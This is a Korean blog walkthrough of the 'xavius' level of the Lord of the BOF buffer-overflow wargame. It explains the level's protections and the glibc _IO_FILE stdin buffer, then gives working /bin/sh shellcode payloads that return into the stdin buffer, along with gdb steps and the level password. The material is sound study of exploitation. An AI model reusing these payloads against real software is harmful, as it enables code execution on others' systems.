반응형

login as : nightmare
password : beg for me


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++;
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

 

1. 커맨드라인 인자가 아닌 fgets() 함수로 입력을 받는다.

2. RET 부분에 덮어쓰는 값이 스택의 주소이거나 code(text) 영역의 코드 가젯의 주소이면 안된다.

3. RET 부분에 덮어쓸 4byte 값을 ret_addr에 복사하고, ret_addr의 값이 \x9090이 아니라면 while문을 돌게 되는데, \x9090 대신 0xc9, 0xc3이라면 에러 메시지를 띄우며 종료하고, \x9090도 아니고 0xc90xc3도 아니라면 \x9090을 만날 때까지 ret_addr의 주소부터 하여 비교한다.

그리고 \x9090을 만나면 while() 문을 탈출하고 스택과 LD 영역을 0으로 초기화한다.

 

1번의 조건으로 인해 이번 문제는 커맨드라인 인자가 아닌 입력으로 xavius에 값을 보내야 한다.

 

2번의 조건으로 인해 쉘 코드를 스택에 저장해두고 해당 주소로 실행 흐름을 옮기거나 코드 가젯을 사용할 수 없다.

 

objdump -d xavius | grep -B 3 ret

 

3번의 조건에서 ret_addr 영역부터하여 0x9090인지와 0xc9, 0xc3인지를 검사하는데, 0xc9와 0xc3은 위의 사진을 보면 leave와 ret 명령어의 opcode이고, leave, ret 명령의 opcode가 스택에 있으면 종료한다는 것이다.

 

그리고 ret_addr 부분부터 하여 0x9090을 만나게 되면 while()문을 탈출하고 스택을 0으로 초기화 한 뒤 프로그램이 종료된다.

 

 

이번 문제는 거의 모든 부분의 스택 사용을 차단당했고, 쉘코드를 담아둘 버퍼 공간으로 공유 라이브러리 영역을 이용하거나 코드 가젯을 사용해서 system() 함수를 호출하거나 등의 방법을 이용할 수 없다.

 

게다가 \x9090을 만나기 전까지 ret_addr부터 while 문으로 검사하기 때문에 \x9090을 payload에 넣어야 한다.

 

 

이번 문제는 사용자의 입력을 fgets()를 이용해 받는데, 위의 소스코드에서 fgets() 함수의 3번째 인자를 보면 stdin 이라는 버퍼를 사용한다.


stdin

참고)
stdio.c 등 c 소스코드 보는 법
https://ftp.gnu.org/gnu/glibc/ 에서 glibc-2.1.3.tar.gz를 다운로드 하여 압축 해제하면 .c 파일들이 있다.

 

glibc-2.1.3에서 stdin은 "_IO_FILE"이라는 구조체의 구조체 포인터 형식으로 선언되어있다.

 

glibc-2.1.3/include/stdio.h

// glibc-2.1.3/include/stdio.h

#ifndef _STDIO_H
#ifdef USE_IN_LIBIO
#ifdef __need_FILE
# include <libio/stdio.h>
#else
# include <libio/stdio.h>

/* Now define the internal interfaces.  */
extern int __fcloseall __P ((void));
extern int __snprintf __P ((char *__restrict __s, size_t __maxlen,
			    __const char *__restrict __format, ...))
     __attribute__ ((__format__ (__printf__, 3, 4)));
extern int __vfscanf __P ((FILE *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int __vscanf __P ((__const char *__restrict __format,
			  _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 1, 0)));
extern _IO_ssize_t __getline __P ((char **__lineptr, size_t *__n,
				   FILE *__stream));
extern int __vsscanf __P ((__const char *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));

#endif
#else
#include <stdio/stdio.h>
#endif

# define __need_size_t
# include <stddef.h>
/* Generate a unique file name (and possibly open it).  */
extern int __path_search __P ((char *__tmpl, size_t __tmpl_len,
			       __const char *__dir, __const char *__pfx,
			       int __try_tempdir));

extern int __gen_tempname __P ((char *__tmpl, int __openit, int __large_file));

/* Print out MESSAGE on the error output and abort.  */
extern void __libc_fatal __P ((__const char *__message))
     __attribute__ ((__noreturn__));


#endif

 

stdin이 "_IO_FILE"이라는 형식으로 선언되어 있는 것을 확인해보기 위해 먼저 glibc-2.1.3/include/stdio.h 파일을 열어보니 libio/stdio.h 파일을 포함하는 것을 볼 수 있다.

 

glibc-2.1.3/libio/stdio.c

#include "libioP.h"
#include "stdio.h"

#undef stdin
#undef stdout
#undef stderr
FILE *stdin = &_IO_2_1_stdin_.file;
FILE *stdout = &_IO_2_1_stdout_.file;
FILE *stderr = &_IO_2_1_stderr_.file;

#undef _IO_stdin
#undef _IO_stdout
#undef _IO_stderr
strong_alias (stdin, _IO_stdin);
strong_alias (stdout, _IO_stdout);
strong_alias (stderr, _IO_stderr);

 

glibc-2.1.3/libio/stdio.c 파일을 보면 stdin은 FILE 형식으로 선언되어 있다.

 

그리고 Ctrl을 누른 상태에서 stdio.h를 클릭하면 glibc-2.1.3/libio/stdio.h 파일로 연결된다.

 

glibc-2.1.3/libio/stdio.h

// glibc-2.1.3/libio/stdio.h

/* Standard streams.  */
extern FILE *stdin;		/* Standard input stream.  */
extern FILE *stdout;		/* Standard output stream.  */
extern FILE *stderr;		/* Standard error output stream.  */
/* C89/C99 say they're macros.  Make them happy.  */
#define stdin stdin
#define stdout stdout
#define stderr stderr

 

glibc-2.1.3/libio/stdio.h 파일에서 "stdin"을 검색해보니 stdin은 FILE * 형식으로 되어 있는 것을 확인할 수 있다.

 

// glibc-2.1.3/libio/stdio.h

/* The opaque type of streams.  */
typedef struct _IO_FILE FILE;

 

Ctrl 키를 누른 상태에서 FILE을 클릭해보니 FILE은 _IO_FILE 이라는 구조체이다.

 

glibc-2.1.3/libio/libio.h

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _blksize;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

 

Ctrl 키를 누른 상태에서 _IO_FILE을 클릭해보니 _IO_FILE의 구조체가 나온다.

 

1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.
 
10. char *_IO_save_base

11. char *_IO_backup_base

12. char *_IO_save_end

13. struct _IO_marker *_markers
 
14. struct _IO_FILE *_chain
 
15. int _fileno
 
16. int _flags2
 
17. __off_t _old_offset
 
18. unsigned short _cur_column
 
19. signed char _vtable_offset
 
19. char _shortbuf[1]
 
20. _IO_lock_t *_lock

 

_IO_FILE 구조체의 대표적인 각 필드는 위와 같다.

 

각 필드의 주석 정보를 참고하면 _IO_read_base ~ _IO_read_end 영역에서 데이터를 읽고, 새로운 데이터가 입력되면  _IO_write_base ~ _IO_write_end 영역 안에 데이터를 쓰며, _IO_read_ptr와 _IO_write_ptr는 각각 읽고 쓰는 동안의 커서 역할인것 같다.

그리고 _IO_buf_base ~ _IO_buf_end의 영역은 입력값을 저장하는 버퍼 공간으로 예약되어 있는 영역인 것 같다.


dummy 값 확인

 

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.


공격

 

이번 문제에서는 fgets() 함수를 이용해 stdin 버퍼를 사용하므로 stdin 버퍼를 이용하면 된다.

 

python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "aaaa"' > data

cp xavius xavius2

gdb -q xavius2

set disassembly-flavor intel

disas main

 

먼저 test payload를 작성하고 test payload를 data 라는 파일에 담는다.

 

이어서 프로세스화를 위해 xavius를 xavius2로 복사한 뒤 복사한 파일을 gdb에서 연다.

 

 

그리고 fgets() 함수를 호출하는 부분 0x8048729와 ret 명령 부분 0x804882a에 breakpoint를 걸고 test payload를 입력으로 주며 실행한다.

 

참고)

r < <(python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "aaaa"')

 

gdb에서 인자를 stdin으로 주려면 위에서 data 파일로 만들어서 줄 필요없이 위의 명령을 이용해 바로 사용하면 된다.

 

x/3x $esp

x/40x 0x401068c0

ni

x/40x 0x401068c0
1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.

 

x 명령을 이용해 스택에 있는 fgets() 함수의 3인자를 보면 stdin의 주소는 0x401068c0이다.

 

그리고 이는 구조체 포인터로 되어있기 때문에 0x401068c0 주소의 값들을 보면 위와 같은데 fgets() 함수를 호출하기 전에는 값들이 채워져 있지 않고 flag 값만 채워져 있다.

 

fgets() 함수를 호출한 후 0x401068c0 주소의 값들을 다시 보면 값들이 채워져 있는 것을 확인할 수 있는데

 

버퍼의 공간은 0x40015000부터 0x40016000까지이고, 읽을 데이터가 있는 영역에서 현재 위치는 0x40015031이고, 데이터를 쓸 영역의 현재 위치는 0x40015000이다.

 

참고) x/40x 0x401068c0 대신 x/40x stdin을 입력해도 된다.

 

 

버퍼의 공간이 0x40015000부터이기 때문에 0x40015000주소를 보면 입력한 데이터가 있다.

 

 

다음 bp가 걸린 위치까지 실행하면 ret 명령에서 멈추게 되는데, 이때 stdin을 보면 아직 값이 그대로 남겨져 있고, 0x40015000 주소에 있는 값 역시 여전히 남겨져 있다.

 

main() 함수가 종료될 때도 0x40015000 주소에는 쉘코드가 남아 있기 때문에 stdin 버퍼를 이용해 0x40015000 주소로 반환하도록 하면 된다.

 

(python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\x00\x50\x01\x40"'; cat) | ./xavius

 

payload를 수정하여 xavius에 인자로 주며 실행하면 xavius의 password인 throw me away를 얻을 수 있다.

 

참고)

(python -c 'print "\x90" * 44 + "\x00\x50\x01\x40" + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'; cat) | ./xavius

(python -c 'print "\x90" * 19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x00\x50\x01\x40"'; cat) | ./xavius

 

이번 문제의 payload에서 NOP와 쉘코드의 위치는 중요하지 않다.

 

어차피 stdin의 버퍼 영역인 0x40015000 주소에 입력한 값이 들어가게 되는데 NOP + shellcode + RET 순서이든, shellcode + NOP + RET 순서이든 RET 부분에 40015000 주소만 잘 들어가면 쉘 코드가 실행될 것이기 때문이다.

 

의문점)

근데 NOP + RET + shellcode 순서는 왜 되는걸까?

NOP를 따라 흘러가다가 RET 값은 무시하고 쉘 코드가 실행되는 것인가.

 


이해가 안되는 경우를 위해 간략히 해둔 공격이 성공하는 이유

 

낮은 주소 
ret_addr
buffer[40]
sfp
ret
argc
argv
env
높은 주소

 

RET 부분이 "\x00\x50\x01\x40" 값으로 변조된 상태에서 "\x00\x50\x01\x40"값을 ret_addr에 복사한다.


이 상태에서 ret_addr의 값을 0x9090과 대조해보면 일치하지 않기 때문에 while문을 돌게 되고, 0xc9c3도 아니기 때문에 종료되지 않고 계속 ret_addr 주소부터 시작하여 0x9090을 만날 때까지 돌다가 0x90을 만나서 while문을 탈출하고 스택 주소가 모두 0으로 초기화 된 상태로 main() 함수가 끝나게 되는데

 

이때 RET 부분에는 stdin의 버퍼 주소가 들어있고, stdin의 버퍼 주소에는 NOP + 쉘코드 혹은 쉘코드 + NOP가 들어있기 때문에 결과적으로 쉘코드가 있는 주소로 반환되는 것이므로 쉘 코드가 실행된다.

 

참고)

NOP+shellcode 순서가 비교적 shellcode+NOP 순서보다는 더 빨리 while문을 탈출할 것이다.

ret_addr의 주소부터 \x9090을 검사하는데, buffer[40]에 NOP + shellcode 순서로 값이 들어있으면 5번째 쯤 while문을 돌게 될 때 바로 \x9090을 만나게 되므로 while 문을 탈출하고 main() 함수가 종료된다.

 


[glibc의 .c 파일들을 찾은 경로]
https://kldp.org/node/55667
https://directory.fsf.org/wiki/GNU
https://www.gnu.org/software/libc/
https://ftp.gnu.org/gnu/glibc/ -> glibc-2.39.tar.gz

_IO_FILE : https://koharinn.tistory.com/255
_IO_FILE_plus의 모든 것 : https://wyv3rn.tistory.com/128#-IO-FILE%--%EA%B-%AC%EC%A-%B-%EC%B-%B-
_IO_FILE 구조체 : https://mineta.tistory.com/82
_IO_FILE 구조체 위치 및 역할 : https://mineta.tistory.com/82
_IO_FILE 구조체 필드의 역할 정리 : https://blog.naver.com/sthellfire/220665754348

반응형

+ Recent posts